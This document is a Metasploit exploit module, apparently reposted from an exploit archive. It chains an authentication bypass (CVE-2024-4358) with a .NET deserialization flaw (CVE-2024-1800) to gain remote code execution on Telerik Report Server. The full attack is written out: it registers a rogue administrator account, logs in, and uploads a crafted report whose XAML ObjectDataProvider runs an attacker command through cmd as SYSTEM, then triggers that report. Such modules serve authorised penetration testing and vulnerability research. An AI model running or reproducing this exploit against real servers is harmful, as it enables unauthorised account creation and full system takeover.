Share
## https://sploitus.com/exploit?id=PACKETSTORM:179084
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
require 'rex/zip'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::CheckModule  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE',  
'Description' => %q{  
This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability  
(CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.  
The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.  
The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a  
new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an  
OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account  
because users are unable to delete themselves.  
},  
'Author' => [  
'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up  
'Soroush Dalili', # CVE-2024-1800 exploitation assistance  
'Unknown', # CVE-2024-1800 discovery  
'Spencer McIntyre' # MSF module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130  
[ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305  
[ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]  
],  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Targets' => [  
[ 'Automatic', {} ],  
],  
'DefaultOptions' => {  
'SSL' => false,  
'RPORT' => 83  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-06-04',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],  
'Reliability' => [ REPEATABLE_SESSION, ],  
'RelatedModules' => [ check_module ]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),  
OptString.new('USERNAME', [false, 'Username for the new account', '']),  
OptString.new('PASSWORD', [false, 'Password for the new account', ''])  
])  
deregister_options('CheckModule')  
end  
  
def check_module  
'auxiliary/scanner/http/telerik_report_server_auth_bypass'  
end  
  
def check_options  
{ 'ACTION' => 'CHECK' }  
end  
  
def check  
check_code = super  
  
if check_code == CheckCode::Appears  
# The auth bypass affects later versions than the RCE, so just filter those out  
version = check_code.details[:version]  
if version > Rex::Version.new('10.0.24.130')  
return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details)  
end  
end  
  
check_code  
end  
  
def username  
@username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']  
end  
  
def password  
@password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD']  
end  
  
def create_account?  
# unless the user specifies a username, use CVE-2024-4358 to create an account for them.  
datastore['USERNAME'].blank?  
end  
  
def create_account!  
# create a new account by exploiting CVE-2024-4358  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'Startup/Register'),  
'vars_post' => {  
'Username' => username,  
'Password' => password,  
'ConfirmPassword' => password,  
'Email' => Faker::Internet.email(name: username),  
'FirstName' => Faker::Name.first_name,  
'LastName' => Faker::Name.last_name  
}  
)  
fail_with(Failure::Unreachable, 'No response received') if res.nil?  
fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index')  
end  
  
def login  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'Token'),  
'vars_post' => {  
'grant_type' => 'password',  
'username' => username,  
'password' => password  
}  
)  
  
fail_with(Failure::Unreachable, 'No response received') if res.nil?  
fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json')  
fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200  
  
access_token = res.get_json_document['access_token']  
fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present?  
  
print_good("Successfully authenticated as #{username}")  
report_creds(username, password)  
access_token  
end  
  
def build_trdp  
zip = Rex::Zip::Archive.new  
zip.add_file(  
'[Content_Types].xml',  
Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0)  
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">  
<Default Extension="xml" ContentType="application/zip" />  
</Types>  
XML  
)  
zip.add_file(  
'definition.xml',  
Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0">  
<Items>  
<ResourceDictionary  
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"  
xmlns:System="clr-namespace:System;assembly:mscorlib"  
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"  
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"  
>  
<ODP:ObjectDataProvider MethodName="Start" >  
<ObjectInstance>  
<Diag:Process>  
<StartInfo>  
<Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo>  
</StartInfo>  
</Diag:Process>  
</ObjectInstance>  
</ODP:ObjectDataProvider>  
</ResourceDictionary>  
</Items>  
</Report>  
XML  
)  
zip.pack  
end  
  
def send_request_api(resource, method: nil, data: nil)  
if method.nil?  
method = data.nil? ? 'GET' : 'POST'  
end  
  
res = send_request_cgi(  
'method' => method,  
'uri' => normalize_uri(target_uri.path, 'api', resource),  
'headers' => {  
'Authorization' => "Bearer #{@access_token}"  
},  
'ctype' => 'application/json',  
'data' => data.nil? ? nil : data.to_json  
)  
fail_with(Failure::Unreachable, 'No API response received') if res.nil?  
fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200  
  
return nil if res.body.blank?  
  
fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json')  
  
res.get_json_document  
end  
  
def exploit  
if create_account?  
print_status('Creating a new administrator account using CVE-2024-4358')  
create_account!  
print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)")  
end  
  
@access_token = login  
  
categories = send_request_api('reportserver/categories')  
  
report_name = rand_text_alphanumeric(10)  
category = categories.sample  
fail_with(Failure::Unknown, 'A random category could not be selected') unless category  
  
print_status("Using category: #{category['Name']}")  
  
send_request_api(  
'reportserver/report',  
data: {  
'reportName' => report_name,  
'categoryName' => category['Name'],  
'description' => nil,  
'reportContent' => Rex::Text.encode_base64(build_trdp),  
'extension' => '.trdp'  
}  
)  
vprint_status("Created report: #{report_name}")  
  
res_json = send_request_api('reportserver/reports')  
@report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] }  
  
res_json = send_request_api(  
'reports/clients',  
data: {  
'timeStamp' => nil  
}  
)  
  
client_id = res_json['clientId']  
fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present?  
  
begin  
send_request_api(  
"reports/clients/#{client_id}/parameters",  
data: {  
'report' => "NAME/#{category['Name']}/#{report_name}/",  
'parameterValues' => {}  
}  
)  
rescue Msf::Exploit::Failed => e  
raise e unless fail_reason == Failure::UnexpectedReply  
  
print_good('The server responded with an error indicating that the payload was executed')  
self.fail_reason = Failure::None  
end  
end  
  
def cleanup  
return unless @report && @access_token  
  
print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})")  
send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE')  
end  
  
def report_creds(user, pass)  
credential_data = {  
module_fullname: fullname,  
username: user,  
private_data: pass,  
private_type: :password,  
workspace_id: myworkspace_id,  
last_attempted_at: Time.now,  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
}.merge(service_details)  
  
create_credential_and_login(credential_data)  
end  
end